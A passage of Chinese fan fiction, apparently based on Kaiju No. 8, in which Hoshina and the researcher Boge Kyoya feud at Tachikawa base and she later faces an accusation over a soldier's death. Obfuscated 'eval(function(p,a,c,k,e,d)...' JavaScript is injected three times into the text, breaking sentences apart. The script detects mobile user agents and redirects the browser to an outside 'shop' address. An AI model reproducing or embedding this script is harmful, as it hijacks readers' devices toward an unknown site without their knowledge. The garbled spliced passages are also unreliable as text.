然而,没等保科发挥他高超的调解技巧,暮戈京矢的目光轻飘飘地掠过他,仿佛刚发现他的存在,保科发誓,他绝对看到了她眼底那抹几乎要溢出来的、毫不掩饰的恶劣笑意!她甚至几不可查地挑了一下眉梢,故意拖长了语调:“哦,没什么,只是您的仰慕者似乎对我颇有微词。” 完了,她绝对是故意的!她早就听到我过来了! “御下无方啊,副队长。”她把这句话咬的百转千回。 啊啊啊!别说了!求你了!保科感觉自己的社交生命在此刻宣告终结。脸上那凝固的笑容快要撑不住碎裂开来。一边是亟待教育但某种程度上也算“实话实说”(在对方认知里)的新人,一边是表面受了委屈实则一手促成这个局面只为了给他难堪的“受害者”,他就这样被架在火上烤! 他张了张嘴,脑子里闪过一百句呵斥、解释或者打圆场的话,但最终全部卡死,最终只能挤出一句毫无威慑力的话:“神崎,注意你的言辞!” 暮戈京矢心满意足地看着保科这副快要自燃的模样,不再多言,只是对着他微微颔首,语气轻快得仿佛刚看完一场精彩的喜剧:“我先去办公室等您,副队长。希望您处理‘内部事务’的效率,能比研发进度快一些。” 说完,她优雅地转身,白大褂划过一个利落的弧度,翩然离去。 只留下保科宗四郎独自站在原地,感受着四面八方投来的、混杂着好奇、同情和更多不明所以的目光,内心只有一个念头在疯狂刷屏——【杀了我吧,就现在!!!】 11. 立川基地二三事(8) 副队长办公室里很安静,只有主人匆匆离开时未来得及关闭的主机运行的微弱嗡鸣。 在走廊主导了一场风波的技术指导躺在沙发上,一只手臂挡住上半张脸,听到保科进来的动静也没有放下,只是牵起一个在保科眼里十分可恶的笑容:“那么,副队长打算怎么处置你那位勇敢的仰慕者?” 来了。保科心想。她果然不会放过大作文章的机会。 “神崎亮,”保科语气平稳,像在做日常工作汇报,“负责基地所有通风管道的内部清洁,为期一周。同时,抄写《防卫队队员行为规范》五十遍。” 暮戈京矢对这个不痛不痒的惩罚未置可否:“很符合你风格的……教化手段。” “至于你,暮戈指导,”保科话锋一转,脸上浮现出他惯有的、此刻却显得格外意味深长的温和笑容。 暮戈遮挡眼睛的手臂动了动,等待下文。 “鉴于你卓越的、轻易就能引发基地内部矛盾的能力,”他的笑容加深了些,两颗小虎牙若隐若现,语气轻快却不容置疑,“从现在开始,直到我认为风险解除为止——你需要暂时剥夺独处权。换言之,你不能离开我的视线。” 暮戈京矢终于放下了手臂,斜斜瞥了他一眼:“嗯?跟之前有什么不同吗?” 保科毫不闪避她的视线:“当然,我的意思是,24小时,每时每刻——别跟我说你有研究要忙哦,我知道你刚结束一个阶段,”他修长的指尖点点终端上一小时前她发出的申请,“别想躲回你的实验室里。” 这就是他对这场带有恶作剧性质的算计的回应。 暮戈京矢脸上的慵懒神色慢慢褪去。她凝视着保科,似乎想从他笑眯眯的表情里找出哪怕一丝开玩笑的痕迹。 她没有找到。 “哦?”她缓慢眨了下眼睛,用同样听不出情绪的声音反问:“包括洗澡和睡觉吗,副队长?” 保科脸上的笑容纹丝不动,对那句犀利的反问仿佛早有预料。 “必要的时候,”他语气温和得像在讨论天气,深红的眼底却掠过一丝不容置疑的锐光,“我会背过身去,或者守在门外。至于睡觉……”他顿了顿,意有所指地看了一眼沙发,“我的办公室隔音和安保都很好。” 他反手输入了一串复杂的密码,锁住了办公室门,清晨的光落在他过于俊秀的脸上——他的皮肤也很白,并非她那种苍白,而是质地细腻,透着健康血气的白,像上好的骨瓷,在光下有温润的质感。 暮戈京矢盯着他看了几秒,最终什么也没说,只是扯了扯嘴角,算是默认了这个荒唐又强硬的“新规”。 “看来我们达成了共识,”保科坐到办公桌后,屏幕的冷光映上他瓷白的脸:“要补觉的话趁现在,今天才刚,刚,开,始。” 一场没有硝烟的战争拉开了帷幕。 上午九点,小此木抱着一摞待签署文件推开副队长办公室的门,瞬间僵在原地。 保科副队长正坐在办公桌后,而暮戈指导蜷在沙发上操作终端,这画面倒不算少见,但今天两人之间氛围明显不同,让她想起了今天早上听闻的那场冲突。 “副队长,这些文件需要您……” “放在那里吧。”保科温和地打断她,目光却没离开屏幕,“另外小此木,请转告行政部,从今天起,所有发送至暮戈研究员内部账户的非项目相关邮件、通知、公告,全部设置24小时延迟接收。优先级列为最低。” 暮戈京矢操作终端的手指猛地停住。 保科这才抬眼,看向沙发方向,笑容无懈可击:“毕竟,让暮戈指导为这些琐事分心,影响核心项目进度,就本末倒置了。这也是为了‘效率’,对吧?” 暮戈缓缓抬起头,她没说话,但小此木感觉室温骤降。 小此木几乎是同手同脚地,逃也似地退了出去。副队长这招太狠了!直接切断了暮戈指导的信息源! 中午的食堂里,保科副队长面前餐盘里的青椒依旧完好。 就在众人以为副队长要再次屈服于“视觉监督”时,他却主动夹起一筷子青椒,自然地放到了对面暮戈京矢的盘子里。 暮戈的叉尖瞬间抵住那块青椒。 保科微笑着,用不大但清晰的声音说:“暮戈指导,我记得你的体检报告显示维生素K和膳食纤维摄入略有不足。青椒富含这些营养素。作为监管人,我有义务确保核心研究员的身体健康达到最佳状态。这符合《高危项目人员健康管理暂行办法》……嗯,大概是第五条的精神?” 他歪头想了想,语气轻松,仿佛只是随口引用。 老队员们惊呆了!副队长竟然反向利用规则?!他什么时候把那些冗长的条例也背下来了?! 暮戈京矢面无表情地将那块青椒拨到盘子角落,冷声道:“副队长,滥用健康管理条例进行餐饮干预,可被视为职权骚扰。” “这怎么是滥用呢?”保科笑容不变,又给她夹了一块胡萝卜,“这是基于客观数据的、充满人文关怀的合理建议。” 下午,一场关于装备维护的跨部门会议。保科作为主持,正与后勤部长就预算分配进行友好而坚定的沟通。 “……我理解后勤部的难处,但第三部队的装备磨损率确实……” “副队长,”暮戈京矢的声音突兀地响起,她没有抬头,只是看着自己的终端屏幕,“你刚才引用的上一季度磨损数据,是未经季节系数修正的原始值。使用该数据会使你的论证可信度下降约百分之十二。” 整个会议室安静了一瞬。 后勤部长的眼神瞬间变得微妙起来。 保科脸上没有丝毫被打断的愠怒,反而从善如流地点头:“非常感谢暮戈指导严谨的提醒。既然如此,就请您将修正后的完整数据模型,以及支撑该模型的所有原始监测点记录、算法选择依据,在会议结束前一并提交给后勤部备案吧。毕竟,如此重要的数据,必须经得起反复验证——这也是科研精神的基本,不是吗?” 暮戈京矢操作终端的手指停了下来。她抬眼,对上保科那双带着笑意却不容拒绝的深红色眼眸。他轻描淡写地,将一份简单的数据指正,变成了她需要立即完成的、工作量不小的额外任务。 “当然,如果是您要求的话。”她垂下了眼睛。 暮戈京矢算是彻底领教了这位平日温和的副队长,一旦火力全开是何等难缠。他总能将她看似随意的“规则利用”,用更严谨的规则、更周全的考虑,甚至更无懈可击的温和态度反弹回来,几乎快让她后悔清晨作弄他那一下——也只是“几乎”而已。 事实上在这场目前被对手压制的博弈中,她骨子里被压制在层层冷静刻薄里的掌控欲,被包裹在游刃有余外壳下的好胜心,都被保科层出不穷,花样百出的手段激了出来,此时这场“游戏”的内核对她来说变得简单起来 ——试探和评估先放到一边,她要赢。 于是各种交锋你来我往,从办公室到会议室,从一杯咖啡到数据库迭代权限,两人之间简直有火花噼啪作响,让整个第三部队都退避三舍,唯恐成为两人较劲的“牺牲品” 明争暗斗如暗流般在立川基地的各个角落涌动,直到窗外的天色彻底暗沉,时间终于来到了夜晚。 单人训练室的灯光已经亮起,金属地板反射着冷硬的光。 保科宗四郎在训练场中央,手持一对古朴的木刀。他练习的是保科家代代相传的剑术,动作古朴而凌厉,没有花哨的虚招,每一次挥斩、刺击都带着破开空气的锐响。他的身形在灯光下舒展又凝练,仿佛与手中的木刀融为一体,带着一种沉静的力量感。 招式衔接越来越快,他的精神却愈发专注,直到—— 他感受到一道视线。 那道视线并不灼热,却带着一种不容忽视的专注,像手术台上的无影灯,冷静地落在他每一个动作的细节上。 保科动作未停,一个流畅的残心收势后,才缓缓吐出一口气,转过身。 暮戈京矢依旧坐在长凳上,终端被她放在了一边。她正看着他,绀青色的眼睛里没有任何被抓包的慌乱,只有纯粹的、毫不掩饰的观察。 “在看什么?”保科将木刀放下,随手将有些微湿的深紫色发丝向后捋去,露出光洁的额头。剧烈的运动让他脸上终于染上了一层薄红,但那红晕仿佛是浮在瓷釉之上,丝毫未损其下细腻的基底,反而更衬得他那张面容有一种生机勃勃的精致感,他用毛巾擦了擦汗,走向她。 暮戈京矢的目光顺着他的动作,从他微微汗湿的脖颈滑到筋骨分明的手臂,最后才慢悠悠地迎上他的视线。 “欣赏。”她吐出两个字,语气平平,嘴角却勾起一个极淡、几乎不存在,但保科就是能捕捉到的弧度。 欣赏。 这个词像一把小钩子,瞬间把保科拉回了白天在走廊里,她也是这样“欣赏”着他百口莫辩的窘境,最后轻飘飘扔下一句“御下无方”扬长而去。 那股熟悉的、混合着尴尬和一丝被拿捏的微妙恼火,又悄悄冒了出来。 他在她面前站定,看着她那双在灯光下显得愈发深邃的绿眼睛,忽然也笑了。他俯下身,双臂撑在她身体两侧的长凳靠背上,将她笼在一小片阴影里。刚刚运动后的热气混合着干净的气息,瞬间包围了她。 “只是欣赏?”他声音放低,带着运动后的沙哑。 话音落下的瞬间,他动了。 右手如电般探出,这是第三部队近身格斗术里一招凌厉的制敌起手式,直扣她左肩关节!速度极快,且毫不留情,以他的速度和力量,即使是第一部队的精英,也绝无可能避开。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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保科的手像被烫到一样彻底松开,后退了半步。他看着她手腕上那圈冰冷的金属,第一次如此清晰地意识到,所谓的“监管”究竟意味着什么,自己方才的试探,又是何等的轻率。 “抱歉。”他低声说,声音有些干涩。 暮戈京矢似乎很满意他的反应,终于动手拍了拍肩线的褶皱。“放心,我对这种……‘亲密接触’没什么兴趣。”她重新拿起终端,姿态恢复了之前的松弛,“所以,你的试探可以到此为止了么?我还是更喜欢‘欣赏’的状态。” 经过训练室的插曲,回去的路上的气氛微妙地改变了。白天的针锋相对似乎被消耗殆尽,取而代之的是一种带着疲惫的平静。 走廊的灯光将两人的影子拉长,交叠,又分开。 “那个限制器,”保科的声音在寂静中显得格外清晰,“电击……会很疼吗?” 暮戈似乎笑了一下,声音很轻:“想试试?” “不想。”保科回答得很快,停顿了一下,又说,“至少……不想以那种方式。” 暮戈没有回应。沉默再次蔓延,但不再是令人窒息的尴尬,而像夜色一样自然。 两人默契地没有履行“在副队长办公室睡觉”的协议,在她宿舍门口,保科停下脚步,没有立刻刷开权限。 很累吧?”他忽然问,声音里褪去了白天的所有机锋,只剩下一点真实的沙哑。 暮戈京矢抬眼看他,似乎有些意外于他语气的改变。她没有回答,算是默认。 保科轻轻笑了一下,那笑声里带着难以言喻的复杂情绪。“我也很累。”他坦白道,然后像是终于下定了某种决心,抬手,刷开了她的房门。 “早点休息,暮戈指导。”他侧身让开通道,语气恢复了平常的温和,却又有些不同,“今天.....到此为止吧。” 这就是休战的信号。 暮戈京矢的脚步顿在门口。她回头,看向他。 “为什么?” 她问的不是“真的吗”,而是“为什么突然改变”。 保科看着她,深红色的眼眸在走廊的光线下显得格外沉静。 “因为今天的目的已经达到了。”他轻声说,“我确认了你的‘危险性’依然在可控范围内,并且……”他顿了顿,嘴角勾起一个微小的、带着些许自嘲的弧度,“我也确认了,这种程度的‘互相折磨’,效率确实低下……很消耗精力。我认输。” 暮戈京矢静静地看了他片刻。就在保科以为她依旧不会回应,准备转身离开时,却听到一声极轻的、几乎消散在夜风里的—— “晚安。” 门轻轻合上。 保科站在空荡的走廊里,许久,才对着那扇门,低声回应了一句。 “啊,晚安。” 12. 出云科技外勤与沉重指控 第二天一早,保科在食堂找到独自坐着的暮戈。他没问她为什么在这里,她也没对他的到来表示惊讶。 “早。”暮戈京矢甚至冲他点了点头。 昨天混乱的一天,到底是改变了什么。 “早。” 保科自然地把她手边的营养餐块换成了一份热食,暮戈瞥了一眼:“多此一举。” 保科在她对面坐下:“食堂阿姨特意给你加的煎蛋,她说你太瘦了。拒绝别人的好意也是一种失礼。” 他示意暮戈看向食堂窗口,笑眯眯地跟那个热情和蔼的食堂阿姨打招呼。 暮戈京矢想起这位阿姨给副队长做媒的光辉战绩,按下了在她眼皮子底下把煎蛋推开的想法,沉默地拿起了筷子。 “他们……今天是不是太安静了?”不远处偷偷观察这边的队员小声问。 两人在这种平静中用完早餐,期间暮戈京矢对于保科时不时夹到她盘子里的芹菜照单全收,只是在他太过分的时候抬头看他一眼,保科轻咳一声:“……好呗。” 他遗憾地收回筷子,皱着脸开始咽绿色的蔬菜。 立川基地度过了一个平和,忙碌的上午,保科盯完新人们的突击队形训练,终端收到一条消息。 来自出云科技对第三部队负责人的短讯,有一批核心战术部件需要他亲自签收,与此同时还要顺便把部分怪兽十号生物组织拿回第三部队。 保科自然得带上他的“监管对象”,因为他也不知道具体需要哪些组织模块,指望着暮戈京矢一次性精准挑出来,同行的还有一直负责交接的小此木。 三人乘坐的防卫队专用车辆平稳地驶出立川基地大门。车窗外的阳光毫无阻碍地洒入车内,与基地内恒定的人工照明是截然不同的感受。 小此木坐在副驾驶,难掩兴奋地悄悄透过后视镜观察后座。保科副队长负责驾驶,而暮戈指导则安静地靠在窗边。最让小此木感到惊奇的是一幕是:一片格外洁白的云朵轮廓,正好倒映在暮戈京矢绀青色的瞳孔之中,缓缓漂浮移动。那双总是沉浸在数据流或带着疏离审视的眼睛,此刻竟盛下了一片小小的、晴朗的天空。 当车辆穿过自动识别闸门,驶入出云科技总部园区时,暮戈京矢将目光从窗外收回,正视前方。流线型的主体大楼外墙覆盖着能随光线变换色彩的智能玻璃,空中走廊连接着各个功能区,小型无人载具无声穿梭。 “每次来都觉得好震撼啊……”小此木喃喃道。 “您好,保科副队长,这边请。”一位AI引导员精准地来到他们面前。 然而,还没等引导员完全引导,一个穿着白大褂、头发有些乱糟糟的中年研究员就从不远处小跑过来,脸上带着熟稔的笑容:“京矢!我就说监测系统提示是你来了!” 暮戈京矢停下脚步,看向来人,脸上没什么表情,但周身的气息却奇异地缓和了些许。“木村博士。你的数据接口优化方案,上周提交的版本依旧冗余。” 木村博士不以为意地哈哈一笑:“就知道你要挑刺!不过比你当年在的时候,我们已经把效率提升15%了!”他这才注意到保科和小此木,“这两位是?” “立川基地,保科宗四郎。”保科上前一步,微笑着自我介绍,目光在暮戈和木村博士之间转了一圈,心中了然——这是她曾经的同事,关系还不错。 “这位是小此木,我们的联络员。”暮戈补充道,语气是公事公办的平淡,但却自然地为双方做了介绍。 木村博士热情地和他们握手:“保科副队长,久仰!小此木小姐是吧,辛苦你了。来来来,别站着了,签字和取样我带你们过去,正好路上跟我聊聊,京矢,那个非线性能量缓冲模型……” 去往交接区的路上,气氛变得颇为奇妙。木村博士显然是个话痨,不停地跟暮戈讨论着技术问题,暮戈虽然依旧言辞犀利,时不时指出“计算前提错误”或“忽略了材料疲劳系数”,但那种在立川基地常见的、带着防御和攻击性的尖刺却收敛了许多。这更像是一种同行间习以为常的、直来直往的交流方式。 小此木眨着眼睛,看着眼前这超乎想象的一幕。保科则安静地跟在稍后,看着暮戈与旧识交谈时那不同于往常的、更为松弛的侧影,嘴角不自觉地微微扬起。 手续办理得异常顺利。有木村博士这个“内部人员”带领,流程简化了不少。在生物样本库,暮戈精准地报出所需组织的编号和特性要求,出云科技的工作人员显然也认识她,效率极高。 “看来你在这里人缘不错。”在等待最后封装时,保科低声对暮戈说。 暮戈京矢看着忙碌的实验室,淡淡道:“只是曾经共事过……在我很小的时候,”她停顿了一下,像是解释,又像是自言自语,“……理念不合,但技术本身无罪。” 阳光透过巨大的玻璃穹顶洒下,将这片充满科技感的空间照得透亮。三人之间的氛围,因着这段小插曲,变得更加自然融洽。这趟外勤,似乎正朝着无比顺利的方向发展。 木村博士还在热情地介绍着最新的材料耐压测试数据,保科微笑着聆听,偶尔回应几句,小此木则认真记录着要点。暮戈京矢对这类过于基础的介绍显然缺乏耐心,她脚步未停,略微加快了步伐,将三人甩开了几步距离,独自走向一段连接主楼和素材库的玻璃吊廊。 “咦?那边怎么了?” 走在前面的人突然停了下来,小此木好奇地从保科副队长后面探出头。 距离他们十米开外的走廊交叉口,先行一步的暮戈京矢背对着他们,面前围着一群身穿防卫队队服的人。 “那是……第五部队的人?”小此木惊讶道,“他们来出云科技有公务?” 保科眯了眯眼,直觉氛围不太对劲,正要快步走过去—— “啪!” 最前面的一名女性扬起手,狠狠落在暮戈京矢脸上,清脆的响声在充满科技感的走廊里回荡,格外刺耳。 她身形被力道带得微微一晃,沉默着侧过脸去,表情隐在凌乱发丝之下。 “啊啊啊这是怎么了?”小此木吓了一大跳,而保科已如离弦之箭般闪身上前,动作快得只留下一道残影。他一把攥住了那名女性队员再次扬起的手腕,力道之大,让对方无法再动弹分毫。 “你们要干什么?” 他的声音没有了往日的温和,暗红色的双眼因震惊和愤怒而微微睁大,锐利的目光扫视了一圈第五部队的人。他们有的面露不忿,有的眼神冰冷,更多的是一种积怨已久的敌意。 “别管闲事,保科宗四郎,”其中一人说,他认出他好像是第五部队一个小队长。 那名女性队员也用力挣开他的手:“放开!” 保科收回手顺势后退几步,正好将暮戈京矢与第五部队分开一道界限。 “哎呀,真不巧,”他脸上重新挂起笑容,但那笑意并未抵达眼底,语气带着一种不容置疑的强硬,“这位的监管人现在是我。不管怎么说,在出云科技对公职人员大打出手,贵队多少得给个说法吧?” 以刀术技巧和爆发速杀著称的第三部队副队长体型不算十分魁梧高大,但是比身后的人高大,队服轻易挡住了白色实验服。 “哼,说法?”领头的小队长冷声道:“我们对杀人犯没什么好说的。” 保科语气也冷了下来: “九条队员,请注意你的言辞。暮戈指导是立川基地的重要技术顾问,你现在的言论,构成了对友军高级技术人员的诽谤与侮辱。” 九条嗤笑一声: “重要顾问?保科副队长,你被她那副皮相骗了吧?谁不知道她是怎么上位的?靠着四之宫长官,现在长官不在了,又攀上你们保科家……” 保科闻言皱了皱眉,正要问个清楚,那名女性队员打断了他:“第三部队副队长?你还真是会给自己找靠山啊,暮戈,” 她自始至终眼神只落在暮戈京矢身上,那种眼神不是讥讽不是厌恶甚至不是愤怒,而是浓烈的恨意:“总部监狱的风景如何?还是说,立川基地已经宽松到可以收容‘反人类罪’的嫌疑人了?” 才赶上来的小此木忍不住反驳:“暮戈小姐是第三部队的重要技术人员,你们说话也太难听了吧!” 她拉过暮戈京矢,担忧地看到她黑发下脸上交错的红痕,诚然,在怪兽讨伐中,这点伤连皮外伤都算不上,但没有哪个防卫队员会被人用这种明显羞辱性质的方式伤害,“好过分!有什么矛盾不能用协商解决吗,为什么要动手打人?” 保科脸上没有一点笑意,视线落在她微微红肿的脸上:“这件事我会向上汇报,不管她是什么身份,现在都是第三部队的人,军纪作风问题还请第五部队内部自行整顿吧。” 他拉起身后一直沉默的人的手:“回去了。” 然而,第五部队的几人迅速移动,无声地挡住了他们的去路。没有激烈的言语, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16685679|188811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只有冰冷的、充满敌意的视线和紧绷的身体姿态,在洁净的科技走廊里形成了一道无形的人墙。 保科的脚步顿住,将暮戈京矢更严密地护在身后。他没有立刻采取强硬措施,但周身的气息已然变得危险而锐利,如同一把即将出鞘的刀。双方在这诡异的沉默中对峙着,只有压抑的呼吸声和远处机器运行的微弱嗡鸣。这短暂的几秒钟,仿佛被拉得无限漫长。 第五部队九条小队长用审视的目光看着保科副队长,终究恪守军纪没有再对上级出言不逊,只是哼了一声:“看来保科副队长还不知道她的罪行,审议会没把她最恶劣的事迹写进档案,佐藤,你给第三部队的人讲讲,当年她做了什么。” 佐藤美咲就是那位情绪激动的队员,她闻言勉强把目光从暮戈京矢身上撕下来,深呼吸过后,她讲述了一个不曾被记录在保科看过的任何文件上的往事。 2016年,防卫队面对层级激增的怪兽,开启了一系列战略对策,大城市要塞化改造,防卫队员武器配备更迭等等,而总部科技组和出云科技公司针对新生战力,提出了一项提案。 “哥,你通过了出云科技的体检?”栗发少女惊讶地贴近餐桌对面的年轻人,那人有着跟少女相似的面容和一模一样颜色的短发,有点腼腆地笑了笑:“是啊,上周抱着试试的心态参加了,没想到能通过,好像是体质有什么特殊的地方。”他挠了挠脸,小声说:“美咲,能不能声音小点,大家都注意到了。” 他们坐在第五部队的食堂里,周围来来往往的是结束了一天训练的队员们。 佐藤美咲满不在乎地塞了一口咖喱饭:“这是好事啊,哥,我们小队那么多人报名,一个人都没选上呢,你真厉害!” 她拉过放在两人中间的表格:佐藤健太,26岁,肢体测试,良好,心肺功能…… “这个【细胞适应性】是什么意思啊?”佐藤美咲指着最后一栏。 佐藤健太也不怎么清楚,只是推测可能是编号识别武器的开发:“毕竟四之宫长官他们可以匹配编号怪兽特制的战斗服,说不定这次机会也能给我们配备新武器呢?” 这令人振奋的推测换来了妹妹一声欢呼。 而一个月后,摆在佐藤美咲面前的是另一张纸,冰冷冷写着佐藤健太因为研究事故去世的报告:……佐藤队员于第三阶段适应性测试中突发状况,仪器检测失去生活反应,对比研发组深表遗憾,佐藤队员为科研和进步做出的贡献将是…… 她问过了能问的所有人,每个人都说那是实验事故,合理范围内的意外,防卫队高层们不耐烦的说出云科技负责整个项目实行,不关他们的事,出云科技跟她讲每个实验阶段都签署了自愿协议书,生死自负。 不关他们的事,也不关他们的事,那么到底关谁的事? 甚至因为保密协议,她的级别不足以知道实验中到底发生了什么。 “我翻遍了所有能接触到的档案!” 佐藤美咲的声音因激动而颤抖,她死死盯着暮戈京矢,“只有一个实验体记录,死亡原因写着‘能量过载,结构性崩解’……项目最高权限的代号签名D072,而审议会上播放的语音我绝不会听错,清清楚楚,就是你——暮戈京矢!” 她向前踏出一步,积蓄了一年的痛苦与愤怒在此刻彻底爆发: “你告诉我!我哥哥到底是怎么死的?!什么狗屁实验事故!是不是你……是不是你为了你的数据,眼睁睁看着他去死的?!” 佐藤美咲饱含痛苦与愤怒的控诉,如同惊雷般在走廊中炸响,随后落下的是几乎令人窒息的、巨大的寂静。 空气仿佛凝固了,细小灰尘从透入的光柱中悬浮,不再飘动。 小此木用手紧紧捂住了嘴,圆框眼镜后的双眼瞪得极大,里面充满了震惊与不知所措的恐惧。她下意识地朝保科的方向挪了一小步,仿佛寻求着某种保护——暮戈指导一直都没说话,只是保持着沉默,反而让小此木感到一种更深的不安,让她不敢去想象那沉默背后所隐藏的东西。 保科此时仍然挡在暮戈京矢身前,听到这骇人的指控后神色凝重,他没有回头,全部的注意力却通过两人相连的手臂,集中在暮戈身上,仿佛想通过她每一个最细微的呼吸节奏、每一寸肌肉的紧绷程度中,解读出指控的真相。 这死寂沉重得能压垮人的神经,所有的压力、所有的目光,都汇聚到了那个自始至终都没有开口的黑发女人身上。 13. 不可诉之轻 暮戈京矢在这场争端中始终保持了一种诡异的沉默,她没有用锋利的言语反击,更没有据理力争地辩解,这比指控本身更让人心惊。 在空气寂静下来那一刻,保科感到她轻轻捏了下他的手,示意他放开。 暮戈京矢上前一步,站在了两方对峙的最前边,直面佐藤美咲那张混合着仇恨和痛苦的脸。 她脸上红痕经过迅速的充血,衬得脸色更加苍白,肩背却仍然挺得笔直,那双眼睛直白地,平静地注视着佐藤美咲的双眼,她想起记忆中早就模糊的另一双暖棕色眼睛。 “我是频道的话事人,但不是你要找的D072,在那场实验中,我是他的替补,如果他失效了,就由我以第二技术负责人身份顶上。” 话音落下,佐藤美咲面部肌肉颤动了一下,死死咬着牙:“事到如今你不会要说什么我恨错了人这种话吧。” 在那双绀青色的眼睛里,没有辩解,没有推诿。一些更为复杂的情绪在她眼底一闪而过,快得让人无法捕捉。 她当然可以解释。她可以说,那场悲剧源于一次无法预测的细胞级突变,远超当时所有的安全模型。她可以说,自己从一开始就反对这个因高层意志而强行推进的高风险项目,在立项书上写下过保留意见。她甚至可以说,正是预感到不详,她才以第二负责人的身份介入,试图在狂热的洪流中,尽可能多地设置安全阀。 而她看着佐藤美咲眼中那焚毁一切的痛苦,脑海中闪回的,是警报凄厉响起时控制台上的数据崩坏,是她试图力挽狂澜却终究徒劳的零点三秒,是最终屏幕上归为一条直线的冰冷轨迹。 她不确定。 所以,她选择了最残酷,也最诚实的一种。 “不。” 她身上白服反射着顶部照明灯冷冷的光,而她的话比这还要冷硬。 “如果我当时在那个位置,我也会做出一样的决策,” 保科猛地看向她,几乎不敢相信自己听到了什么。 “所以放心吧,你没有错失复仇的机会,也没有恨错人。”她看着佐藤美咲,又仿佛透过她,看着那个被宏大叙事碾碎的年轻生命,最后,那目光似乎落回了自己身上,带着一种深刻的倦怠,“如果要恨……你的仇人很多,很多。” 佐藤美咲剧烈颤抖着,泪水终于从眼眶滚落,她没想到,对方就这样认下了一条生命的重量,她积蓄了一年的仇恨,就像撞上了一堵无形而冰冷的墙—— “够了!” 一个威严的声音从走廊尽头传来。众人循声望去,只见总部监察部的斋藤部长在一队宪兵的护卫下快步走来,金丝眼镜后的目光锐利如刀。 “在出云科技重地公然斗殴,第五部队的纪律已经涣散到这个地步了吗?”他的视线扫过佐藤美咲,最后落在暮戈京矢身上,“暮戈京矢,看来伊丹司令为你周旋,并没有让你心怀感激。” 他语气严厉,跟暮戈京矢相接的视线里却带着只有她能看懂的提醒和警告。 保科立即上前一步:“斋藤部长,事出有因……” “保科副队长,”斋藤冷冷打断,“你的监管责任,我们稍后再谈。”他示意宪兵上前,“把涉事人员都带走。佐藤队员关禁闭三天,暮戈研究员——你的外出权限即刻起暂停。” 就在宪兵即将触碰到暮戈时,她平静地抬起手腕,露出那个金属限制器。 “不劳费心。”她的声音恢复了往常的淡漠,在宪兵的包围下,转身离开,没有再看任何人一眼。 走廊里只剩下保科和小此木,以及一片狼藉的沉默。 回立川基地的车上,气氛压抑得让人喘不过气。 小此木抱着装有怪兽组织的恒温箱,缩在副驾驶座上,时不时偷瞄后视镜里沉默开车的保科副队长。她想说点什么,张了张嘴,却发现自己什么也说不出来。暮戈指导最后说的那些话,像冰块一样沉在她心底。 保科专注地看着前方的道路,目光却有些失焦。车窗外的城市风景飞速向后掠去,午后的阳光为高楼大厦的玻璃幕墙镀上一层耀眼的金色,远处的街心公园里,孩子们在嬉戏玩耍,一切显得如此平常而充满生机。这安宁的景象,与刚才在出云科技走廊里那场充斥着仇恨、痛苦与决绝的冲突,仿佛是两个割裂的世界。 他握着方向盘的指节微微泛白。暮戈京矢那张平静接受一切指控的脸,佐藤美咲混合着泪水与恨意的眼神,还有斋藤部长冰冷的目光,在他脑海中交替闪现。 “副队长……”小此木终于忍不住,极小声道,“暮戈指导她……会不会有事?” 保科没有立刻回答。车辆平稳地驶过立川大桥,波光粼粼的河面在阳光下闪烁,像撒了一把碎金。他深吸了一口气,关西腔里带着一丝不易察觉的疲惫: “先回去吧。基地里,还有很多工作等着我们。” 出云科技的临时办公室里,斋藤部长坐在宽大办公桌后,屏退了左右,双手指尖相对,用评估的目光打量着暮戈京矢,似乎在审视一个,很有些麻烦,却不得不处理的特异点。 视线落在她带着红痕的侧脸,他最终的开场白却是:“这件事……总部对不起你。” 他金丝眼镜后的神情仍然严厉:“在这方面,你一向做的很好。” 暮戈京矢知道这说的是表面上她担下了所有罪责,没有扩散到更高层的决策问题。 在那些人看来,揭露真相,意味着承认项目存在重大伦理问题,承认资方为了利益罔顾队员生命,承认防卫队在监管上的严重失职。没有人愿意承担这个后果。 她根本不想跟他解释她原本的动机,觉得真的挺没意思的。 “所以……你的审查进程,看来可以收尾了。”斋藤部长说。 暮戈京矢无力地抽了下嘴角,终于没忍住:“别扯了行吗?你们什么时候真正在意过那场事故,比起一名队员的牺牲,审议会对我流通海外怪兽素材的讨论声大多了。” 这话有些犀利,非常不敬,但斋藤部长没有动怒,只是以宣告一个结果的口吻道:“审议结果……对你的指控全部无效——于我个人而言,真是非常遗憾的一件事。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16685680|188811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >也许她应该感到高兴的,可是所有情绪都被一个深不见底的漩涡吸走了。 “不得不说,我很欣赏你的才能,也认可你为防卫队,乃至人类做出的贡献,但是,” 斋藤部长看着她眼底的倔强说:“没有规矩不成方圆,程序正义是有必要的,四之宫长官走后,希望你能懂这个道理,磨磨你的性子。” 暮戈京矢没说话,下颌绷紧出一道苍白的直线。 斋藤部长的语气缓和下来,他起身,笔挺的军装没有一丝褶皱,走到年轻研究员面前:“介于……流程的合规性,等你提交了交互医疗舱的原型机,再正式解除监管,第五部队那边我会处理,这些天你就待在第三部队静静心吧。” 